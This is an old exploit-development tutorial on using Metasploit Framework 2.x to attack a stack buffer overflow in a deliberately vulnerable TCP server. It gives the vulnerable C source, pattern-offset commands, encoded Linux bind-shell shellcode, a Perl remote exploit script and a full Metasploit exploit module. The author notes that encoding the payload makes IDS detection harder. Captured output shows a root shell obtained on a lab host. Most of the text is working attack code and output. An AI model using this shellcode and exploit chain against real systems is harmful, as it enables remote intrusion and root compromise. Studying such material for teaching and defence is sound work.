

Simple Metasploit in Action

Cyberheb

Introduction

I made this article in order to show you about using metasploit framework for creating exploit. Metasploit Framework is a framework for exploit development, it help us to make exploit development getting easier and more efficient than before, the whole story about metasploit framework can be found from it's official site et <http://www.metasploit.com>.

Through this article, i'll show you how to make simple exploit which is part of metasploit framework and use it's feature to make exploit development more efficient. First of all, we need to create simple vulnerable server which can be exploited, this vulnerable server has stack buffer overflow hole and easy to be exploited. I'll take this simple vulnerable server from preddy's article which was posted for milw0rm few months ago (see under reference for preddy's article), you can look at preddy's article for the detail on exploiting this server application. I'll only show you some important detail related to this article.

Vulnerable Server

Here's the vulnerable server,

```
Cyb3rh3b@k-elektronik$ cat server.c

/* Vulnerable server, reference by predy's article et
http://www.milw0rm.com/papers/78 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LISTENPORT 7500

#define BACKLOG 10

#define MSG "Hello, how are you?"

int handle_reply(char *str)
{
    char response[256];

    strcpy(response,str);

    printf("The client says \"%s\"\n",response);

    return 0;
}

int main(int argc, char * argv[]) {
    int sock, conn;
    struct sockaddr_in my_addr, client_addr;
    int sockopt_on = 1;
    int sa_in_size = sizeof(struct sockaddr_in);
    char reply[1024];
```

Simple Metasploit in Action

Cyberheb

```
//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
    perror("socket");
    exit(1);
}

//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);

//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
    perror("bind");
    exit(1);
}

//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
    perror("listen");
    exit(1);
}

while(1) {
    //grab connections
    conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
    if (conn == -1) {
        perror("accept");
        exit(1);
    }

    //log the connector
    printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));

    //send a greeting
    send(conn,MSG,strlen(MSG)+1,0);

    //get the reply
    recv(conn, reply, 1024, 0);

    handle_reply(reply);
}

return 0;
}
```

----- END HERE

As you can see, this server has stack buffer overflow hole at handle_reply function. The response variable only provide 256 bytes character to be used as buffer for strcpy function. So if it received more than 256 character from it's client, the stack will be buffer overflow'd (again, please look the details at preddy's article on reference part below).

Simple Metasploit in Action

Cyberheb

Before sending real payload to the vulnerable server, we need to analyze the memory location which is used by the server after overflow process happened. We will use lot of great feature provided by Metasploit Framework to produce real exploit for our lovely vulnerable server.

Ah ya...i use linux slax with 2.6.12 kernel for this article.

Finding the Offset

From the server source code, we knew that server will be crashed if received more than 256 byte data from client. So, we have got the attack vector for exploiting the server. The next step is finding the right offset for our payload.

Wait...what about if we didn't know the buffer size?!the information we got only the server will crash if it receive huge data from client?!or even we know the buffer size, we still have to calculate the exact number of bytes sent to overwrite the eip register, or in other words...we need to find the offset. The term offset is used to refer the number of data must be sent before four-bytes which overwrite the eip register.

Metasploit Framework give you simple tools to generate pattern of data which produce series of ASCII characters of specified length where any four consecutive character is unique. Using this series of ASCII, we can find the exact offset to overwrite the return address of vulnerable server. This tool is called PatternCreate(). The PatternCreate() is a method available from the Pex.pm library located in ~/framework/lib. Use the method to produce a series of ASCII character with 400 bytes length.

```
Cyberheb@kecoak$ perl -e 'use Pex;print Pex::Text::PatternCreate(400);'  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A  
c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af  
6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4  
Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A  
l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
```

Next, we can copy those ASCII series to be inserted as attackstring for the vulnerable server. Here's the simple script to overflow the server:

```
Cyberheb@kecoak$ cat send-overflow.pl
```

```
# Overflow the server process using series of unique ASCII characters.
```

```
use IO::Socket;
```

```
$ip = $ARGV[0];
```

```
$attackstring =
```

```
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6'.  
'Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3'.  
'Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0'.  
'Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7'.  
'Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A';
```

```
# Check if target IP is given
```

```
if(!$ip)
```

```
{
```

```
die "You have to provide the target's IP Address..\n";
```

```
}
```

Simple Metasploit in Action

Cyberheb

```
$port = '7500';
$protocol = 'tcp';
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>$protocol,
                                Timeout=>'1') || die "Could not create socket\n";
```

```
#send the ASCII pattern to the remote computer
print $socket $attackstring;
```

```
#close the connection
close($socket);
```

----- END HERE

Now, run the vulnerable server as root (only for example :P). And execute the send-overflow script to overflow the server. Ah ya, make sure the VA patch is non-active (kernel 2.6), and also activate the core dump to analyze server process using gdb.

```
[--- Server Side ---]
Cyberheb@k-elektronik# echo "0" > /proc/sys/kernel/randomize_va_space
Cyberheb@k-elektronik# ulimit -c unlimited
Cyberheb@k-elektronik# ifconfig | grep "inet addr"
    inet addr:192.168.80.130 Bcast:192.168.80.255 Mask:255.255.255.0
    inet addr:127.0.0.1 Mask:255.0.0.0
Cyberheb@k-elektronik# ./server
```

```
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
```

```
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.100
The client says
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5A
f6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai
4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2
Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
Segmentation fault (core dumped)
```

We just crashed the server process using attackstring. Next, we have to analyze at server side using gdb to know what's exactly happened after the overflow occurred, especially the value of eip register after segmentation fault.

```
Cyberheb@k-elektronik# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
```

Simple Metasploit in Action

Cyberheb

```
Core was generated by './server'.
Program terminated with signal 11, Segmentation fault.
```

```
warning: current_sos: Can't read pathname for load map: Input/output error
```

```
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x6a413969 in ?? ()
(gdb) i r $eip
eip                0x6a413969          0x6a413969
(gdb)
```

at this point, we know from gdb that eip register is filled with 0x6a413969 value. This value is part of ASCII series which is sent by the client, and gdb shows the ASCII in hex format and big-endian position. So, we have to search those value from ASCII series to find the exact offset needed to overflow the server process. How?!well...you have to convert the "0x6a413969" to ASCII and switch the position to make it in little-endian format, then search from the ASCII series we sent to the server the location of those 4-byte-string which overwrite the eip register, and last...count how many byte-string before those 4-bytes-string (which overwrite eip register) sent to the server.

Unfortunately, Metasploit Framework give us simple tools to find how many offset needed to overflow the server process using our ASCII series. You can find the tools at ~/framework/sdk/patternOffset.pl, the first parameter is the hex value which overwrite the eip register, and the second parameter is the size of ASCII series we just sent to the server (in our case, it's 400).

```
Cyberheb@k-elektronik$ ./patternOffset.pl 0x6a413969 400 268
```

There we go, now we have offset to overflow the server process...and this offset will be use in our exploit code later :).

Finding the Return Address

The offset value we found above will be used as our byte-string which will overflow the server process before four-bytes data which overwrite the ret address. We'll put nop-sled and payload byte into the offset space. But we should know which memory location will be used to land the server process on nop-sled which will bring the processor state to our payload execution. To determine the return address, we need to analyze again server process using debugger (in this case, gdb).

We'll use traditional nop code as our nop-sled for x86 architecture, 0x90. Metasploit Framework also give us capability to generate our payload to be used in exploit code. Beside generate payload, metasploit framework also give us great tools to simplify encode our payload and make it harder for IDS to detect our exploit.

This tutorial will use Pex encoder to encode the payload. More detail on using msfpayload and msfencode can be found et <http://www.metasploit.com> . Both msfpayload and msfencode can be found under ~/framework/.

```
Cyberheb@kecoak$ ./msfpayload linux_ia32_bind LPORT=1337 R > /home/payload_1337
Cyberheb@kecoak$ ./msfencode -e Pex -a x86 -o linux -b '\x00' -i /home/payload_1337 -
t perl
[*] Using Msf::Encoder::Pex with final size of 108 bytes
"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
```

Simple Metasploit in Action

Cyberheb

```
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";
```

First, we generate payload to produce shellcode which bind at port 1337 for linux operating system, the result is dumped to a file in raw format. We can choose to dump the result on C or Perl format, but we need to encode the payload so it need to be dumped to raw format. Next, we encode the dumped payload and use msfencode to give us an encoded payload. I use Pex encoding schema for this simple article, and I use "\x00" as bad character which will be avoided during encoding process. The bad character avoidance also make IDS or application filter harder to detect our payload in exploitation. Remember, encoding need decoder to decode the encoded payload, so the size of encoded payload will be bigger than un-encoded payload. In this case, we got the result of encoded payload which has size 108 bytes. Next, we just need to insert the payload in our overflow code.

We have 268 bytes offset to overflow the server process, and of course 4 bytes data which will overwrite the eip register (ret address). We'll use "0x90" as our nop-sled. So, the attackstring which will be used to overflow the server can be described as:

```
[ (160 * "0x90") + (108 of encoded payload) + ("AAAA") ]
| ----- Attackstring-----|
| ----- Offset -----|| - RET - |
```

Here's the code:

```
Cyberheb@kecoak$ cat send-overflow.pl
```

```
#!/usr/bin/perl
```

```
#####
#
#-- Server Exploit (Perl version)
#
# Reference by Preddy's Remote Exploitation with C and Perl tutorial
#
#####
```

```
#IO::Socket for network connections
use IO::Socket;
```

```
#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];
```

```
#our nopsled
$nopsled = "\x90"x160;
```

```
$payload =
```

```
"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";
```

Simple Metasploit in Action

Cyberheb

```
#our extended instruction pointer which we use to overwrite the remote eip
$eip = "AAAA";
#we construct our full attackstring here
$attackstring = $nopsled.$payload.$eip;

#view a message if no ip address is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}

#the remote port to connect to
$port = '7500';

#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>$protocol,
                                Timeout=>'1') || die "Could not create socket\n";

#send the payload to the remote computer
print $socket $attackstring;

#close the connection
close($socket);
```

----- END HERE

Send it to the server,

```
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
```

```
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.1
The client says "3.....^v]gI....1..
#;??<..5.!X^?../7..N..R...
```

```
.XN.z.V5.fr.!r.'...?.N.AAAA"
Segmentation fault (core dumped)
Cyberheb@k-elektronik# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
```

Core was generated by `./server'.

Simple Metasploit in Action

Cyberheb

Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.

Loaded symbols for /lib/tls/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in ?? ()

(gdb) x/1000xb \$esp

0xbffff0a0:	0x00	0xf0	0xff	0xbf	0xb0	0xf0	0xff	0xbf
0xbffff0a8:	0x00	0x04	0x00	0x00	0x00	0x00	0x00	0x00
0xbffff0b0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0b8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0c0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0c8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0d0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0d8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0e0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0e8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0f0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff0f8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff100:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff108:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff110:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff118:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff120:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff128:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff130:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff138:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff140:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff148:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff150:	0x33	0xc9	0x83	0xe9	0xeb	0xe8	0xff	0xff
0xbffff158:	0xff	0xff	0xc0	0x5e	0x81	0x76	0x0e	0x5d
0xbffff160:	0x67	0x83	0x49	0x83	0xee	0xfc	0xe2	0xf4
0xbffff168:	0x6c	0xbc	0xd0	0x0a	0x0e	0x0d	0x81	0x23
0xbffff170:	0x3b	0x3f	0x1a	0xc0	0xbc	0xaa	0x03	0xdf
0xbffff178:	0x1e	0x35	0xe5	0x21	0x58	0x5e	0xe5	0x1a
0xbffff180:	0xd4	0x86	0xe9	0x2f	0x05	0x37	0xd2	0x1f
0xbffff188:	0xd4	0x86	0x4e	0xc9	0xed	0x01	0x52	0xaa
0xbffff190:	0x90	0xe7	0xd1	0x1b	0x0b	0x24	0x0a	0xa8
0xbffff198:	0xed	0x01	0x4e	0xc9	0xce	0x0d	0x81	0x10
0xbffff1a0:	0xed	0x58	0x4e	0xc9	0x14	0x1e	0x7a	0xf9
0xbffff1a8:	0x56	0x35	0xeb	0x66	0x72	0x14	0xeb	0x21
0xbffff1b0:	0x72	0x05	0xea	0x27	0xd4	0x84	0xd1	0x1a
0xbffff1b8:	0xd4	0x86	0x4e	0xc9	0x41	0x41	0x41	0x41
0xbffff1c0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbffff1c8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbffff1d0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbffff1d8:	0x14	0xe6	0xff	0xff	0x00	0x00	0x00	0x00
0xbffff1e0:	0x00	0x00	0x00	0x00	0x00	0xbd	0xff	0xb7
0xbffff1e8:	0x00	0xe0	0xff	0xff	0x00	0x00	0x00	0x00
0xbffff1f0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbffff1f8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

---Type <return> to continue, or q <return> to quit---

Let's analyze the output of gdb, at memory location 0xbffff1b8 we found 4-bytes of 0x41. 0x41 is "A" character in ASCII format, those bytes character overwrite the Return Address. Then take a look at

Simple Metasploit in Action

Cyberheb

series of "0x90" from 0xbffff0b0 to 0xbffff148, those memory location is used by our NOP sled. The payload (shellcode) is located after the NOP sled.

As usual, we just need to pick random location of memory which used by NOP sled as our return address, so the processor state will be landed to series of NOP opcode and then drive to our payload. Let's pick one location, 0xbffff0f8.

Next, put the memory location as our return address (don't forget to make it in little-endian format) and again, send the attackstring to the server. Our send-overflow.pl code will be:

```
Cyberheb@kecoak$ cat send-overflow.pl
```

```
#!/usr/bin/perl

#####
#
#-- Server Exploit (Perl version)
#
# Reference by Preddy's Remote Exploitation with C and Perl tutorial
#
#####

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our nopsled
$nopsled = "\x90"x160;

$payload =

"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";

#our extended instruction pointer which we use to overwrite the remote eip
#remeber to make 0xbffff0f8 in little-endian format
$eip = "\xf8\xf0\xff\xbf";
#we construct our full attackstring here
$attackstring = $nopsled.$payload.$eip;

#view a message if no ip address is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}

#the remote port to connect to
$port = '7500';
```

Simple Metasploit in Action

Cyberheb

```
#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>$protocol,
                                Timeout=>'1') || die "Could not create socket\n";

#send the payload to the remote computer
print $socket $attackstring;

#close the connection
close($socket);
```

----- END HERE

```
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
```

```
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.1
The client says "3.....^v]gI....l..
#;??<..5.!X^.?../7..N..R...
```

```
.XN.z.V5.fr.!r.'...?.N....."
```

```
[--- Client Side ---]
Cyberheb@kecoak$ nc 192.168.80.130 1337
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
```

Binggo!!!

Metasploit Framework Structure

You can get more detail information about integrating exploit into Metasploit Framework from <http://www.metasploit.com>. In this article, we have collected some information needed to integrate the simple exploit into Metasploit Framework. And now we will use those information to make exploit code. I won't give much details information about all part of exploit code, the important thing is we have a picture about writing exploit using metasploit framework and make it integrated as metasploit's exploit. Here's the simple metasploit's exploit code which exploit our vulnerable server above:

```
Cyberheb@kecoak$ cat stack_buffer_overflow.pm
```

```
##
# This is the example of simple exploit which use metasploit framework to exploit
# vulnerable application remotely. This simple exploit using API which is provided
# by metasploit framework.
#
#
# By: Cyberheb, Kecoak Elektronik Indonesia. 2006
##
```

Simple Metasploit in Action

Cyberheb

```
# Declare all the following code to be part of stack_buffer_overflow package, set the
base package to be
# Msf::Exploit module, so the stack_buffer_overflow will inherit all function and
properties of Msf::Exploit parent
# class. We just usually need to change the package name at the first line.
package Msf::Exploit::stack_buffer_overflow;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

# Use this hash to provide advanced information about the exploit.
my $advanced = { };

# %info hash put all information of the exploit
my $info =
{
    'Name'      => 'Remote Stack Overflow [kecoak elektronik version]',
    'Version'   => '$Revision: 0.1 $',
    'Authors'   => [ 'Cyb3rh3b < Cyb3rh3b [et] gmail.com >', ],
    'Arch'      => [ 'x86' ],
    'OS'        => [ 'linux' ],
    'Priv'      => 1,

# We provide information about target host, target port, etc here. These data can be
accessed by user
# directly from the msfconsole. Each key value under UserOpts refers to four-element
array. First element
# is a flag that indicates whether or not the information require by the user before
exploitation occur.
# The second element is metasploit data type, third element is string described about
the data type.
# And the last element is default value for the data type. In our case, '7500' is the
default port
# of target server and RHOST + RPORT data type is required before exploitation occur.
    'UserOpts' =>
    {
        'RHOST' => [1, 'ADDR', 'Target Address'],
        'RPORT' => [1, 'PORT', 'Target Port (vuln server) ', 7500],
        'SRET'  => [0, 'DATA', 'RET Address'],
        'DEBUG' => [0, 'BOOL', 'Debugging mode'],
    },

# Provide information about payload (shellcode) here. We already know that we need
108 bytes space
# for our payload (encoded), and also give information about bad character should be
avoided in the payload
# (\x00).
    'Payload' =>
    {
        'Space'      => 108,
        'BadChars'   => "\x00",
        'Keys'       => ['+findsock'],
    },

    'Description' => Pex::Text::Freeform(qq{
Trying to exploit remotely buffer overflow application. Only for testing!.
}),
},
```

Simple Metasploit in Action

Cyberheb

```
# Reference about da hole
  'Refs' =>
  [
    ['URL', 'http://www.milw0rm.com/papers/78'],
  ],

# Specify the target here. First element is the string which describe the target
exploit, the second
# element specify space for NOP-sled (will be used below), and the last element
specify return address
# after overflow occur.
  'Targets' =>
  [
    ["Linux x86", 160, 0xbffff0f8],
  ],

  'Keys' => ['remote stack overflow'],

};

# We don't need to change anythin here.
sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
  return($self);
}

# Exploit code
sub Exploit {

# Extract information about host, port, achitecture of the target from user's option.
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx = $self->GetVar('TARGET');
  my $shellcode = $self->GetVar('EncodedPayload')->Payload;

  my $target = $self->Targets->[$target_idx];

# Construct our attackstring to overflow and exploit the target. As you can see, we
use value from
# 'Targets' above to determine space for NOP-sled. pack function is used to format
the return address
# in little-endian.
  my $attackstring = ("\x90" x $target->[1]);
  $attackstring .= $shellcode;
  $attackstring .= pack("V", $target->[2]);

# Create socket using Metasploit's API
  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr' => $target_host,
    'PeerPort' => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL' => $self->GetVar('SSL'),
  );
  if ($s->IsError) {
    $self->PrintLine(['*] Error creating socket: ' . $s->GetError);
  }
}
```

Simple Metasploit in Action

Cyberheb

```
    return;
  }

  $self->PrintLine("[*] Attacking the server..... [*]");

# Send the attackstring to the target.
  $s->Send($attackstring);

  $s->Close();

  return;
}
```

----- END HERE

Save the exploit code under ~/framework/exploits, and run msfconsole to use it.

```
Cyberheb@kecoak$ ./msfconsole
Using Term::ReadLine::Stub, I suggest installing something better (ie
Term::ReadLine::Gnu)
```



```
+ -- ==[ msfconsole v2.5 [144 exploits - 75 payloads]
```

```
msf > show exploits
```

```
Metasploit Framework Loaded Exploits
```

```
=====
```

3com_3cdaemon_ftp_overflow	3Com 3Cdaemon FTP Server Overflow
Credits	Metasploit Framework Credits
afp_loginext	AppleFileServer LoginExt PathName Overflow
...	
squid_ntlm_authenticate	Squid NTLM Authenticate Overflow
stack_buffer_overflow	Remote Stack Overflow [kecoak elektronik version]
svnserve_date	Subversion Date Svnserve
...	
zenworks_desktop_agent	ZENworks 6.5 Desktop/Server Management Remote Stack Overflow

```
msf > info stack_buffer_overflow
```

```
    Name: Remote Stack Overflow [kecoak elektronik version]
    Class: remote
    Version: $Revision: 0.1 $
    Target OS: linux
    Keywords: remote stack overflow
    Privileged: Yes
```

Simple Metasploit in Action

Cyberheb

Provided By:

Cyb3rh3b < Cyb3rh3b [et] gmail.com >

Available Targets:

Linux x86

Available Options:

Exploit:	Name	Default	Description
optional	DEBUG		Debugging mode
optional	SRET		RET Address
required	RHOST		Target Address
required	RPORT	7500	Target Port (vuln server)

Payload Information:

Space: 108

Avoid: 1 characters

| Keys: noconn tunnel bind findsock reverse

Nop Information:

SaveRegs: esp ebp

| Keys:

Encoder Information:

| Keys:

Description:

Trying to exploit remotely buffer overflow application. Only for testing!.

References:

<http://www.milw0rm.com/papers/78>

```
msf > use stack_buffer_overflow
```

```
msf stack_buffer_overflow > show options
```

Exploit Options

=====

Exploit:	Name	Default	Description
optional	DEBUG		Debugging mode
optional	SRET		RET Address
required	RHOST		Target Address
required	RPORT	7500	Target Port (vuln server)

Target: Target Not Specified

```
msf stack_buffer_overflow > set RHOST 192.168.80.130
```

```
RHOST -> 192.168.80.130
```

```
msf stack_buffer_overflow > show targets
```

Supported Exploit Targets

=====

0 Linux x86

Simple Metasploit in Action

Cyberheb

```
msf stack_buffer_overflow > set TARGET 0
TARGET -> 0
msf stack_buffer_overflow > show payloads
```

Metasploit Framework Usable Payloads

=====

linux_ia32_adduser	Linux IA32 Add User
linux_ia32_bind	Linux IA32 Bind Shell
linux_ia32_bind_stg	Linux IA32 Staged Bind Shell
linux_ia32_exec	Linux IA32 Execute Command
linux_ia32_findrecv	Linux IA32 Recv Tag Findsock Shell
linux_ia32_findrecv_stg	Linux IA32 Staged Findsock Shell
linux_ia32_findsock	Linux IA32 SrcPort Findsock Shell
linux_ia32_reverse	Linux IA32 Reverse Shell
linux_ia32_reverse_stg	Linux IA32 Staged Reverse Shell
linux_ia32_reverse_udp	Linux IA32 Reverse UDP Shell

```
msf stack_buffer_overflow > set PAYLOAD linux_ia32_bind
PAYLOAD -> linux_ia32_bind
msf stack_buffer_overflow(linux_ia32_bind) > show options
```

Exploit and Payload Options

=====

Exploit:	Name	Default	Description
optional	DEBUG		Debugging mode
optional	SRET		RET Address
required	RHOST	192.168.80.130	Target Address
required	RPORT	7500	Target Port (vuln server)

Payload:	Name	Default	Description
required	LPORT	4444	Listening port for bind shell

Target: Linux x86

```
msf stack_buffer_overflow(linux_ia32_bind) > exploit
[*] Starting Bind Handler.
[*] Attacking the server..... [*]
[*] Got connection from 192.168.80.130:51761 <-> 192.168.80.1:4444
```

```
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
```

